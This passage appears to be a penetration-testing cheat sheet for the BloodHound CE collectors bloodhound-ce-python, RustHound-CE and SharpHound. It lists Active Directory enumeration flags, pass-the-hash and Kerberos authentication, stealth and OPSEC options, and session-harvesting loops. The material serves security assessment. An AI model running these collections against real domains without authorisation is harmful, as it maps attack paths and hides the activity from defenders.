# Kerberos with explicit auth-method
bloodhound-ce-python -u <username> -p '<password>' --auth-method kerberos -d <domain> -ns <dc-ip> -c All --zip
# Force NTLM
bloodhound-ce-python -u <username> -p '<password>' --auth-method ntlm -d <domain> -ns <dc-ip> -c All --zip
# AES key (Kerberos)
bloodhound-ce-python -u <username> --aesKey <aes-key> -d <domain> -ns <dc-ip> -c All --zip
Common Flags
Identity / Authentication
| Flag | Description |
|---|---|
-u, --username |
Username (user or user@domain) |
-p, --password |
Password |
--hashes |
NTLM hash (LMHASH:NTHASH or just NTHASH) |
--aesKey |
AES-128 or AES-256 key for Kerberos |
-k, --kerberos |
Use Kerberos from KRB5CCNAME ccache |
--no-pass |
No password (null/anonymous) |
--auth-method |
Force auth method: auto (default), ntlm, kerberos |
Domain / DC
| Flag | Description |
|---|---|
-d, --domain |
Target AD domain |
-dc, --domain-controller |
Override primary DC hostname |
-gc, --global-catalog |
Specify custom Global Catalog server |
-ns, --nameserver |
Alternative nameserver/DNS for LDAP resolution (use DC IP) |
--dns-tcp |
Use TCP for DNS queries instead of UDP |
Collection
| Flag | Description |
|---|---|
-c, --collectionmethod |
Collection methods (default: Default) |
--computerfile |
File of computer names/IPs to restrict computer collection |
--exclude-dcs |
Skip domain controllers during enumeration |
--disable-autogc |
Disable automatic Global Catalog selection |
Output
| Flag | Description |
|---|---|
--zip |
Compress JSON output into a zip archive |
-op, --outputprefix |
Prefix for output filenames |
--output |
Output directory (default: current directory) |
Connection / Performance
| Flag | Description |
|---|---|
--use-ldaps |
Force LDAP over TLS (port 636) |
--ldap-channel-binding |
Enable LDAP channel binding |
-w, --workers |
Number of worker threads (default: 10) |
-v |
Verbose output |
Usage Patterns
DC-Only (Stealth, No Lateral Movement)
bloodhound-ce-python -u <username> -p '<password>' -d <domain> -ns <dc-ip> -c DCOnly --zip
Full Collection with Nameserver Override
bloodhound-ce-python -u <username> -p '<password>' -d <domain> \
-ns <dc-ip> -dc <dc-hostname> -c All --zip
Pass-the-Hash from Linux
bloodhound-ce-python -u <username> --hashes <ntlm-hash> \
-d <domain> -ns <dc-ip> -c All --zip
Kerberos (ccache)
export KRB5CCNAME=/tmp/<ccache>
bloodhound-ce-python -k -d <domain> -dc <dc-hostname> -ns <dc-ip> -c All --zip
Session Loop (not built-in β run in bash loop)
while true; do
bloodhound-ce-python -u <username> -p '<password>' -d <domain> \
-ns <dc-ip> -c Session --zip
sleep 300
done
Forest-Wide (enumerate each domain)
# Run once per domain, resolving DCs individually
bloodhound-ce-python -u <username> -p '<password>' -d <child-domain> \
-ns <child-dc-ip> -c All --zip
bloodhound-ce-python -u <username> -p '<password>' -d <parent-domain> \
-ns <parent-dc-ip> -c All --zip
Target Specific Domain Controller
bloodhound-ce-python -u <username> -p '<password>' -d <domain> \
-ns <dc-ip> -dc <dc-fqdn> -c All --zip
LDAPS
bloodhound-ce-python -u <username> -p '<password>' -d <domain> \
-ns <dc-ip> -c All --use-ldaps --zip
Output Files
<timestamp>_bloodhound.zip
βββ computers.json
βββ users.json
βββ groups.json
βββ domains.json
βββ gpos.json
βββ ous.json
βββ containers.json
Upload to BloodHound CE
# Upload via GUI: Administration -> File Ingest -> Upload File
# Or via API:
curl -s -X POST https://<bhce-host>/api/v2/file-upload/start \
-H "Authorization: Bearer <token>" | jq .
RustHound-CE
BloodHound CE collector written in Rust β cross-platform, cross-compiled alternative to SharpHound
Platform: Linux / Windows / macOS / ARM
Quick Start
# Basic Linux collection (password auth)
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' -o <output-dir> -z
# DC-only (stealthy, LDAP only)
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' --dc-only -z
# With ADCS enumeration
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' --adcs -z
Installation
Cargo (Recommended)
cargo install rusthound-ce
From Source
git clone https://github.com/g0h4n/RustHound-CE
cd RustHound-CE
cargo build --release
# Binary at: ./target/release/rusthound-ce
Linux dependencies:
apt install libkrb5-dev libclang-dev clang
Makefile Targets
make release # Compile for current system
make windows # Cross-compile for Windows (requires mingw)
make linux # Static Linux x86_64
make macos # macOS binary
make arm # ARM aarch64
Docker
docker build --rm -t rusthound-ce .
docker run --rm -v $PWD:/usr/src/rusthound-ce rusthound-ce release
Pre-compiled Binaries
Available for Linux x86_64, Windows, macOS, and ARM via GitHub Releases:
https://github.com/g0h4n/RustHound-CE/releases
Collection Methods
| Method | Description |
|---|---|
All |
Full collection via LDAP, SMB, and HTTP requests (default) |
DCOnly |
LDAP-only β no connections to member computers |
# All (default β no flag needed)
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' -z
# DCOnly
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' --dc-only -z
Authentication Options
# Username + password
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' -f <dc-fqdn> -z
# Kerberos (ccache β Linux)
export KRB5CCNAME=<ccache>
rusthound-ce -d <domain> -k -f <dc-fqdn> -z
# GSSAPI session (Windows β current logged-in user)
rusthound-ce.exe -d <domain> -f <dc-fqdn> -z
# LDAPS (encrypted)
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' --ldaps -z
Common Flags
Required
| Flag | Description |
|---|---|
-d, --domain |
Domain name (e.g., DOMAIN.LOCAL) |
Authentication
| Flag | Description |
|---|---|
-u, --ldapusername |
LDAP username (user@domain.local) |
-p, --ldappassword |
LDAP password |
-k, --kerberos |
Use Kerberos auth from KRB5CCNAME ccache |
--ldaps |
Force LDAPS (port 636) |
Connection
| Flag | Description |
|---|---|
-f, --ldapfqdn |
Domain controller FQDN (DC01.DOMAIN.LOCAL) |
-i, --ldapip |
Domain controller IP address |
-P, --ldapport |
LDAP port (default: 389) |
-n, --name-server |
Custom DNS server IP |
--dns-tcp |
Use TCP instead of UDP for DNS queries |
Collection
| Flag | Description |
|---|---|
--dc-only |
LDAP-only collection (no member computer connections) |
--adcs |
Enumerate ADCS β certificate authorities and templates |
--fqdn-resolver |
Resolve computer names to IPs during collection |
Output
| Flag | Description |
|---|---|
-o, --output |
Output directory (default: current directory) |
-z, --zip |
Compress JSON output into zip archive |
Cache / Resume
| Flag | Description |
|---|---|
--cache |
Store LDAP data to disk cache (binary format) |
--cache-buffer |
Cache buffer size (default: 1000) |
--resume |
Resume collection from existing cache |
Misc
| Flag | Description |
|---|---|
-v |
Verbose output (repeat for more detail: -vv) |
Usage Patterns
Stealth β DC Only
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' \
-i <dc-ip> --dc-only -z
ADCS Enumeration
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' \
-f <dc-fqdn> --adcs -z
FQDN Resolution (Map Computers to IPs)
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' \
-n <nameserver> --fqdn-resolver -z
Kerberos from ccache
export KRB5CCNAME=/tmp/<ccache>
rusthound-ce -d <domain> -k -f <dc-fqdn> -n <dc-ip> -z
LDAPS
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' \
-f <dc-fqdn> --ldaps -z
Custom DNS / Alternate Nameserver
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' \
-n <nameserver> -z
Resume Interrupted Collection
# First run with cache enabled
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' --cache -z
# Resume if interrupted
rusthound-ce -d <domain> -u <username>@<domain> -p '<password>' --resume -z
Windows (GSSAPI β Current Session)
rusthound-ce.exe -d <domain> -f <dc-fqdn> -z
Output Files
<timestamp>_rusthound.zip
βββ users.json
βββ groups.json
βββ computers.json
βββ ous.json
βββ gpos.json
βββ containers.json
βββ domains.json
βββ cas.json (--adcs only)
βββ templates.json (--adcs only)
Comparison with SharpHound
| Feature | SharpHound | RustHound-CE |
|---|---|---|
| Language | C# (.NET 4.7.2) | Rust |
| Platform | Windows (primary) | Linux, Windows, macOS, ARM |
| Requires .NET | Yes | No |
| Auth: Password | Yes | Yes |
| Auth: Pass-the-Hash | No (use runas) | No (use Kerberos) |
| Auth: Kerberos ccache | No | Yes |
| Auth: GSSAPI | Yes (via runas) | Yes (Windows) |
| Collection: All | Yes | Yes |
| Collection: DCOnly | Yes | Yes |
| Collection: LoggedOn | Yes | No |
| Collection: Session Loop | Yes (--Loop) |
No (external loop) |
| ADCS Enumeration | Yes (CertServices) |
Yes (--adcs) |
| LDAPS | Yes | Yes |
| ZIP Output | Yes (default) | Yes (-z) |
| Encrypted ZIP | Yes (--ZipPassword) |
No |
| FQDN Resolution | Automatic | Optional (--fqdn-resolver) |
| Cache / Resume | Yes | Yes (--cache, --resume) |
| OPSEC: Random filenames | Yes | No |
| OPSEC: In-memory cache | Yes (--MemCache) |
No |
| BH CE Compatible | Yes | Yes |
Upload to BloodHound CE
# Upload via GUI: Administration -> File Ingest -> Upload File
# Or via API:
curl -s -X POST https://<bhce-host>/api/v2/file-upload/start \
-H "Authorization: Bearer <token>" | jq .
SharpHound
BloodHound CE collector for Windows β C# ingestor targeting .NET 4.7.2
Platform: Windows
Quick Start
# Default collection (groups, trusts, ACLs, OU structure, local admins, sessions)
SharpHound.exe
# Collect everything
SharpHound.exe --CollectionMethods All --OutputDirectory C:\temp\bh
Collection Methods
| Method | Description |
|---|---|
Default |
Group membership, domain trusts, abusable AD rights, OU structure, GP links, object properties, local groups, sessions |
All |
All methods except LoggedOn |
DCOnly |
LDAP queries to DC only β no lateral connections to member hosts. Correlates GPO-enforced local groups to computers |
ComputerOnly |
Local group enumeration and session data from domain computers only |
Session |
Active user session collection from domain computers |
LoggedOn |
Privileged session collection β requires local admin on targets |
Group |
Security group membership only |
LocalGroup |
Local group membership from computers |
LocalAdmin |
Local Administrators group membership |
RDP |
Remote Desktop Users group membership |
DCOM |
Distributed COM Users group membership |
PSRemote |
Remote Management Users (WinRM) group membership |
GPOLocalGroup |
Local group membership via Group Policy Objects |
ACL |
Access control entries on AD objects |
Trusts |
Domain trust relationships |
Container |
GPOs, OUs, and default containers |
ObjectProps |
Object properties (LastLogon, PwdLastSet, etc.) |
UserRights |
User rights assignments on domain computers |
CARegistry |
Certificate Authority registry data |
DCRegistry |
Domain Controller registry data |
CertServices |
Active Directory Certificate Services (ADCS) objects |
WebClientService |
WebDAV WebClient service presence on computers |
NTLMRegistry |
NTLM registry settings |
SMBInfo |
SMB signing and dialect info from computers |
LdapServices |
LDAP service information |
Combine multiple methods with commas:
SharpHound.exe --CollectionMethods Group,ACL,Trusts,Container,ObjectProps
Authentication Options
# Run as different domain user (network-only logon β no local auth)
runas /netonly /user:<domain>\<username> cmd.exe
SharpHound.exe --CollectionMethods All --OverrideUserName <username>
# Explicit LDAP credentials
SharpHound.exe --CollectionMethods All --LdapUsername <username> --LdapPassword '<password>'
# LDAPS with explicit creds
SharpHound.exe --CollectionMethods All --LdapUsername <username> --LdapPassword '<password>' --SecureLdap
# Local admin session enumeration with alternate creds
SharpHound.exe --CollectionMethods Session --DoLocalAdminSessionEnum --LocalAdminUsername <username> --LocalAdminPassword '<password>'
Common Flags
Enumeration
| Flag | Description |
|---|---|
-c, --CollectionMethods |
Collection methods to use (default: Default) |
-d, --Domain |
Target Active Directory domain |
-s, --SearchForest |
Enumerate all domains in the forest |
--Stealth |
Minimal-footprint collection β targets only high-probability systems |
--ComputerFile |
Line-separated file of computer names/IPs to target |
--DistinguishedName |
Restrict LDAP search to a specific base DN |
--LDAPFilter |
LDAP filter to restrict collected principals |
--ExcludeDCs |
Skip domain controllers during enumeration |
--RealDNSName |
Alternate DNS suffix when AD FQDN differs from real DNS |
--OverrideUserName |
Username to report when using runas /netonly |
--CollectAllProperties |
Collect all string-valued LDAP attributes from objects |
Output
| Flag | Description |
|---|---|
--OutputDirectory |
Directory for ZIP output (default: launch directory) |
--OutputPrefix |
Prefix prepended to output filenames |
--ZipFileName |
Custom ZIP archive filename |
--ZipPassword |
Encrypt output ZIP with password |
--NoZip |
Output raw JSON files without compression |
--RandomFileNames |
Randomize output filenames (OPSEC) |
--PrettyPrint |
Format JSON with indentation (larger files) |
--TrackComputerCalls |
Generate CSV logging all connection attempts and error codes |
Connection
| Flag | Description |
|---|---|
--DomainController |
Target specific DC by IP or hostname |
--LdapPort |
Alternate LDAP port (default: 389) |
--SecureLdap |
Use LDAPS (port 636) |
--LdapUsername |
Alternate LDAP username |
--LdapPassword |
Alternate LDAP password |
--DisableSigning |
Disable Kerberos signing/sealing (not recommended) |
--DisableCertVerification |
Bypass LDAPS certificate validation (not recommended) |
Performance
| Flag | Description |
|---|---|
--Threads |
Number of enumeration threads (default: 50) |
--Throttle |
Millisecond delay between computer requests |
--Jitter |
Percentage randomization added to throttle delay |
--SkipPortCheck |
Skip port 445 reachability check before connecting |
--PortCheckTimeout |
Millisecond timeout for port 445 check (default: 2000) |
--SkipPasswordCheck |
Skip PwdLastSet verification during computer enumeration |
--SkipRegistryLoggedOn |
Skip registry-based session collection |
Loop
| Flag | Description |
|---|---|
-l, --Loop |
Repeat collection continuously |
--LoopDuration |
Total loop duration in HH:MM:SS (default: 2 hours) |
--LoopInterval |
Pause between loop iterations in HH:MM:SS |
Cache
| Flag | Description |
|---|---|
--CacheName |
Custom name for the local cache file |
--MemCache |
Use in-memory cache only β no disk artifacts |
--RebuildCache |
Invalidate and regenerate the cache file |
Misc
| Flag | Description |
|---|---|
--StatusInterval |
Millisecond interval for status updates |
-v, --Verbosity |
Verbose logging output |
Usage Patterns
Stealth / Reduced Footprint
# DC-only β no lateral movement to workstations
SharpHound.exe --CollectionMethods DCOnly
# Stealth session collection (only likely-active systems)
SharpHound.exe --CollectionMethods Session --Stealth
Session Loop (for catching logons over time)
# Loop session collection for 3 hours, checking every 10 minutes
SharpHound.exe --CollectionMethods Session --Loop --LoopDuration 03:00:00 --LoopInterval 00:10:00
Domain Trusts / Forest-Wide
# Enumerate all domains in forest
SharpHound.exe --CollectionMethods All --SearchForest
# Target specific trusted domain
SharpHound.exe --CollectionMethods All --Domain <domain>
Target Specific OU
SharpHound.exe --CollectionMethods All --DistinguishedName "OU=Servers,DC=corp,DC=local"
Collect All Properties
SharpHound.exe --CollectionMethods All --CollectAllProperties
LDAP Filter β Target Specific Objects
SharpHound.exe --CollectionMethods All --LDAPFilter "(adminCount=1)"
Encrypted Output
SharpHound.exe --CollectionMethods All --ZipPassword '<password>' --ZipFileName bh_out.zip
From Non-Domain-Joined Machine
# Open domain-authenticated cmd.exe, then run SharpHound from it
runas /netonly /user:<domain>\<username> cmd.exe
# In the new window:
SharpHound.exe --CollectionMethods All --Domain <domain> --DomainController <dc-ip>
ADCS Enumeration
SharpHound.exe --CollectionMethods All,CertServices,CARegistry,DCRegistry
Output Files
SharpHound generates JSON files and packages them in a ZIP archive:
YYYYMMDDHHmmss_BloodHound.zip
βββ computers.json
βββ users.json
βββ groups.json
βββ domains.json
βββ gpos.json
βββ ous.json
βββ containers.json
Upload to BloodHound CE
# Transfer zip to attacker machine, then upload via BloodHound CE GUI
# Administration -> File Ingest -> Upload File
# Or use the BH CE API:
curl -s -X POST https://<bhce-host>/api/v2/file-upload/start \
-H "Authorization: Bearer <token>" | jq .